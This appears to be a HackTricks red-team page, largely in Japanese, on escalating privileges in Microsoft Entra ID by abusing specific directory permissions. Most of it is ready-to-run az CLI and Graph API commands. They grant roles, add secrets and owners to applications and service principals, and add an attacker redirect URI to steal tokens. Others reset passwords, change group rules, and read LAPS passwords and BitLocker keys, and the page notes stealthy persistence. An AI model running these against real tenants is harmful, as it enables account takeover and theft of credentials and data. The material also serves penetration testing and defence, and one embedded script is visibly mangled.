Az - EntraID Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Note

注意: Entra ID の組み込みロールが持つ すべての細かな権限が カスタムロールで使用できるわけではない ことに注意してください。

ロール

Role: Privileged Role Administrator

このロールは、プリンシパルにロールを割り当てたり、ロールにさらに権限を付与したりするために必要な細かな権限を含んでいます。どちらの操作も悪用されて権限昇格に繋がる可能性があります。

  • ユーザーにロールを割り当てる:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • ロールに権限を追加する:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

アプリケーション

microsoft.directory/applications/credentials/update

これにより攻撃者は既存のアプリケーションに資格情報を追加する(パスワードまたは証明書)ことができます。もしそのアプリケーションが特権的な権限を持っている場合、攻撃者はそのアプリケーションとして認証し、その権限を取得できます。

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

これは applications/credentials/update と同じ操作を許可しますが、単一ディレクトリのアプリケーションに限定されています。

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

自分自身をオーナーとして追加することで、attacker はアプリケーションを操作でき、credentials や permissions を含む変更が可能になります。

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

攻撃者は、テナントのユーザーが利用している application に redirect URI を追加し、その新しい redirect URI を使った login URLs をユーザーと共有することで、彼らの tokens を盗むことができます。ユーザーが既にその application にログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。

また、application が要求する permissions を変更してより多くの権限を得ることも可能ですが、その場合はユーザーがすべての permissions を要求するプロンプトを再度承認する必要がある点に注意してください。

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

アプリケーションの権限昇格

As explained in this post デフォルトのアプリケーションに API permissions の型 Application が割り当てられていることは非常に一般的でした。API Permission(Entra IDコンソールでの呼称)が Application 型であるということは、そのアプリケーションがユーザーコンテキスト(アプリにユーザーがログインしている必要はありません)なしでAPIにアクセスして操作を実行でき、Entra IDのロールを必要としないことを意味します。したがって、ほとんどの Entra ID テナントで高権限のアプリケーションを見つけることは非常に一般的です。

もし攻撃者がアプリケーションの update the credentials (secret o certificate) of the application を許す任意の権限/ロールを持っている場合、攻撃者は新しい認証情報を生成してそれを使い、アプリケーションとして認証することで、そのアプリケーションが持つすべての権限を取得できます。

なお、前述のブログは一般的な Microsoft デフォルトアプリケーションのいくつかの API permissions を共有していますが、この報告の後、Microsoft はこの問題を修正し、現在では Microsoft アプリケーションとしてログインすることはできなくなっています。それでも、悪用可能な 高権限を持つ custom applications を見つけることは依然として可能です。

アプリケーションの API permissions を列挙する方法:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
すべてのアプリケーションの API 権限を見つけ、Microsoft 所有の API をマークする ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## サービスプリンシパル

### `microsoft.directory/servicePrincipals/credentials/update`

これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルが昇格した権限を持っている場合、攻撃者はその権限を取得して行使できるようになります。
```bash
az ad sp credential reset --id <sp-id> --append

Caution

新しく生成されたパスワードは web console に表示されないため、service principal に対する persistence を維持するステルスな方法になり得ます。
API からは次のように見つけることができます: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because SP の passwordCredentials プロパティを変更することができない ためで、まずそれをアンロックする必要があります。For it you need a permission (microsoft.directory/applications/allProperties/update) that allows you to execute:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

これにより、attacker は既存の service principals に対して認証情報を追加できます。service principal が elevated privileges を持っている場合、attacker はそれらの権限を assume できます。

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

applications と同様に、この権限は service principal にさらに owners を追加することを可能にします。service principal を所有することで、その credentials と permissions を制御できます。

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

新しい owner を追加した後、それを削除しようとしましたが、API は DELETE メソッドがサポートされていないと応答しました(owner を削除するには DELETE が必要なメソッドです)。したがって 現在は owners を削除できません

microsoft.directory/servicePrincipals/disableenable

これらの permissions は service principals を disable および enable することを許可します。attacker はこの permission を使って、何らかの方法でアクセスできるようになった service principal を enable し、escalate privileges するために利用する可能性があります。

この technique では、attacker が enabled service principal を take over するために、さらに多くの permissions が必要になることに注意してください。

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

これらの権限は single sign-on 用の資格情報を作成および取得できるようにし、サードパーティアプリケーションへのアクセスを許可する可能性があります。

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

グループ

microsoft.directory/groups/allProperties/update

この権限により、ユーザーを特権グループに追加でき、権限昇格につながります。

az ad group member add --group <GroupName> --member-id <UserId>

: この権限は Entra ID のロール割り当て可能なグループを除外します。

microsoft.directory/groups/owners/update

この権限により、グループのオーナーになることができます。グループのオーナーはグループのメンバーシップや設定を管理でき、結果としてグループに対する権限を昇格させる可能性があります。

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Note: この権限は Entra ID role-assignable groups を除外します。

microsoft.directory/groups/members/update

この権限はグループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで elevated access を得る可能性があります。

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

この権限により、動的グループのメンバーシップルールを更新できます。攻撃者は動的ルールを変更し、明示的な追加なしに自身を特権グループに含めることができます。

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

注意: この権限は Entra ID role-assignable groups を除外します。

Dynamic Groups Privesc

ユーザーが自身のプロパティを変更して dynamic groups のメンバーに追加されることで権限を昇格できる可能性があります。詳細は次を参照してください:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

この権限により非管理者ユーザーのパスワードをリセットできるため、潜在的な攻撃者が他のユーザーへ権限を昇格させる可能性があります。この権限はカスタム ロールに割り当てることはできません。

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループが見つかることが多いため、この権限によりユーザーが特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させる可能性があります。

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access ポリシー & MFA bypass

MFAを要求する設定ミスのあるConditional Access ポリシーはバイパスされる可能性があります。確認してください:

Az - Conditional Access Policies & MFA Bypass

デバイス

microsoft.directory/devices/registeredOwners/update

この権限により攻撃者は自分自身をデバイスの所有者として割り当て、デバイス固有の設定やデータへのアクセスや制御を得ることができます。

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

この権限により、attackers が自分のアカウントをデバイスに紐付けてアクセスを取得したり、セキュリティポリシーを回避したりできます。

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

この権限により、攻撃者は Microsoft Entra に参加しているデバイスのバックアップされたローカル管理者アカウント credentials のプロパティ(password を含む)を読み取ることができます。

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

この権限は BitLocker keys へのアクセスを許可し、attacker が drives を decrypt してデータの機密性を侵害する可能性があります。

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

その他の興味深い permissions (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする